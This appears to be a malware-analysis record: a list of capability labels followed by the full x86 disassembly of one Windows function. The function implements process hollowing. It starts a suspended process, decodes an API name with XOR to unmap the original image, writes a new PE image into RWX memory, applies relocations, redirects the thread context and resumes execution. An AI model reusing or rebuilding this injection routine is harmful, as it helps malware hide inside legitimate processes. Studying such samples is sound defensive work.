Function at 0x408f80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Inspect section memory permissions
Resume thread
Use process replacement

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x3a8
push esi
push edi
lea eax, [ebp - 0x34]
mov dword [ebp - 0xc0], 0x44
push eax
lea eax, [ebp - 0xc0]
xorps xmm0, xmm0
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ecx
mov edi, edx
movlpd qword [ebp - 0xbc], xmm0
movups xmmword [ebp - 0x34], xmm0
movlpd qword [ebp - 0xb4], xmm0
movlpd qword [ebp - 0xac], xmm0
movlpd qword [ebp - 0xa4], xmm0
movlpd qword [ebp - 0x9c], xmm0
movlpd qword [ebp - 0x94], xmm0
movlpd qword [ebp - 0x8c], xmm0
movlpd qword [ebp - 0x84], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x409689
mov esi, dword [ebx + 8]
push 4
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x409689
push esi
push edi
push eax
call fcn.0041d490
mov eax, dword [ebp - 0x10]
push 0x2c8
push 0
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 0x20], esi
mov eax, dword [esi + 0x34]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x39c]
push eax
call fcn.0041e930
add esp, 0x18
mov dword [ebp - 0x3a0], 0x10002
lea eax, [ebp - 0x3a0]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x409689
mov eax, dword [ebp - 0x2fc]
lea ecx, [ebp - 0x74]
push ecx
push 4
lea ecx, [ebp - 0x3c]
add eax, 8
push ecx
push eax
push dword [ebp - 0x34]
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x409689
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], edi
cmp edi, eax
jne 0x4092de
mov ax, word [0x446598]
movq xmm0, qword [str._BSTU]
movq qword [ebp - 0x5a], xmm0
mov word [ebp - 0x52], ax
test ah, ah
je 0x409111
xor edx, edx
mov dword [ebp - 4], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x5a], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xa
jl 0x4090e1
lea eax, [ebp - 0x5a]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [0x446114]
movups xmm0, xmmword [0x446104]
mov dword [ebp - 0x5f], ecx
mov cl, byte [0x446118]
mov byte [ebp - 0x5b], cl
xor ecx, ecx
cmp dword [0x44b508], 2
mov dword [ebp - 0x14], eax
movups xmmword [ebp - 0x6f], xmm0
mov dword [ebp - 4], ecx
jl 0x409290
movaps xmm0, xmmword [0x446910]
mov eax, 4
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446930]
movaps xmm6, xmmword [0x4468a0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0xd0], xmm0
mov edx, dword [ebp - 0xd0]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x6f]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x6f], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x6b]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x6b], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x409190
mov dword [ebp - 4], ecx
cmp ecx, 0x15
jge 0x4092bd
nop
mov eax, 0x4d4873ed
imul ecx
mov al, 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub al, cl
mov ecx, dword [ebp - 4]
movsx eax, al
imul eax, eax, 0x35
add al, cl
xor byte [ebp + ecx - 0x6f], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0x15
jl 0x409290
lea eax, [ebp - 0x6f]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push dword [ebp - 0x34]
call eax
add esp, 8
test eax, eax
jne 0x409689
mov eax, dword [ebp - 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x3000
push dword [esi + 0x50]
push eax
push dword [ebp - 0x34]
call edi
mov dword [ebp - 8], eax
test eax, eax
jne 0x409328
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x409689
push 0x40
push 0x3000
push dword [esi + 0x50]
push 0
push dword [ebp - 0x34]
call edi
mov dword [ebp - 8], eax
test eax, eax
je 0x409689
cmp dword [ebp - 0xc], eax
je 0x40934b
lea eax, [ebp - 0x38]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x409689
mov edx, esi
mov eax, 2
mov word [edx + 0x5c], ax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x1c]
je 0x4094f4
test byte [edx + 0x16], 1
jne 0x409689
movzx eax, word [edx + 0x14]
lea edi, [edx + 0x18]
add edi, eax
mov dword [edx + 0x34], ecx
movzx ecx, word [edx + 6]
xor eax, eax
xor esi, esi
mov dword [ebp - 0x14], edi
test ecx, ecx
je 0x4093b9
movzx eax, word [edx + 6]
lea ecx, [edi + 8]
nop
mov edi, dword [ecx + 4]
cmp dword [edx + 0xa0], edi
jb 0x4093af
mov eax, dword [ecx]
add eax, edi
cmp dword [edx + 0xa0], eax
jb 0x4094b6
movzx eax, word [edx + 6]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x409390
xor eax, eax
mov esi, dword [ebp - 0x10]
xor edi, edi
mov dword [ebp - 0xc], edi
lea ecx, [eax + esi]
mov eax, dword [edx + 0xa4]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x38], eax
test eax, eax
je 0x4095aa
nop dword [eax + eax]
mov eax, dword [edi + ecx + 4]
mov esi, 0
mov dword [ebp - 0x18], esi
lea ecx, [eax - 8]
shr ecx, 1
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp - 4]
lea ecx, [ecx + 8]
lea ecx, [ecx + edi]
mov dword [ebp - 0x48], ecx
je 0x4094e0
nop word [eax + eax]
movzx ecx, word [ecx + esi*2]
mov ax, cx
and ecx, 0xfff
shr ax, 0xc
movzx eax, ax
cmp eax, 3
je 0x40942e
cmp eax, 0xa
jne 0x40949a
mov eax, dword [ebp - 0xc]
mov edi, ecx
mov ecx, dword [ebp - 4]
add edi, dword [eax + ecx]
movzx eax, word [edx + 0x14]
add edx, 0x18
mov ecx, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x14], eax
xor edx, edx
xor eax, eax
mov dword [ebp - 0x24], eax
movzx ecx, word [ecx + 6]
mov dword [ebp - 0x40], ecx
test ecx, ecx
je 0x409480
mov eax, dword [ebp - 0x14]
add eax, 8
mov esi, dword [eax + 4]
cmp edi, esi
jb 0x409472
mov ecx, dword [eax]
add ecx, esi
cmp edi, ecx
jb 0x4094cd
mov ecx, dword [ebp - 0x40]
inc edx
add eax, 0x28
cmp edx, ecx
jb 0x409460
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
sub dword [eax + edx], ecx
mov ecx, dword [eax + edx]
mov eax, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 0x24]
mov dword [ecx + edx], eax
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x48]
inc esi
mov dword [ebp - 0x18], esi
cmp esi, dword [ebp - 0x44]
jb 0x409410
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov eax, dword [edi + ecx + 4]
jmp 0x4094e3
mov ecx, dword [ebp - 0x14]
lea eax, [esi + esi*4]
mov eax, dword [ecx + eax*8 + 0x14]
sub eax, edi
add eax, dword [edx + 0xa0]
jmp 0x4093b9
mov ecx, dword [ebp - 0x14]
lea eax, [edx + edx*4]
mov eax, dword [ecx + eax*8 + 0x14]
sub eax, esi
add eax, edi
mov dword [ebp - 0x24], eax
jmp 0x40947d
mov ecx, dword [ebp - 4]
add edi, eax
mov dword [ebp - 0xc], edi
cmp edi, dword [ebp - 0x38]
jb 0x4093e0
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0x10]
mov eax, dword [edx + 0x28]
add eax, ecx
mov dword [ebp - 0x2f0], eax
lea eax, [ebp - 0x3a0]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x409689
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x4c]
push eax
push dword [edi + 0x54]
push esi
push dword [ebp - 8]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x409689
lea eax, [ebp - 0x50]
push eax
push 2
push dword [edi + 0x54]
push dword [ebp - 8]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x409689
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0xc], 0
mov esi, dword [ecx + 0x3c]
add esi, 0x104
cmp ax, word [edi + 6]
jae 0x40966d
add esi, ecx
lea eax, [ebp - 0x4c]
push eax
push dword [esi + 4]
mov eax, dword [esi + 8]
add eax, ecx
push eax
mov eax, dword [esi]
add eax, dword [ebp - 8]
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x409689
movzx eax, word [edi + 6]
dec eax
cmp dword [ebp - 0xc], eax
jne 0x4095b2
mov edx, dword [edi + 0x50]
jmp 0x4095b5
mov ecx, dword [ebp - 8]
jmp 0x4094f7
mov edx, dword [esi + 0x28]
mov ecx, dword [esi + 0x18]
mov eax, ecx
sub edx, dword [esi]
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x4095cf
mov eax, 0x40
jmp 0x40963b
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x4095e4
mov eax, 0x20
jmp 0x40963b
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x4095f9
mov eax, 0x80
jmp 0x40963b
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x40960e
mov eax, 4
jmp 0x40963b
test ecx, 0x20000000
je 0x40961d
mov eax, 0x10
jmp 0x40963b
test ecx, 0x40000000
je 0x40962c
mov eax, 2
jmp 0x40963b
test ecx, ecx
mov eax, 1
mov ecx, 8
cmovs eax, ecx
lea ecx, [ebp - 0x50]
push ecx
push eax
mov eax, dword [ebp - 8]
add eax, dword [esi]
push edx
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x409689
mov ecx, dword [ebp - 0xc]
add esi, 0x28
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 0xc], ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
jl 0x409577
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x409689
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret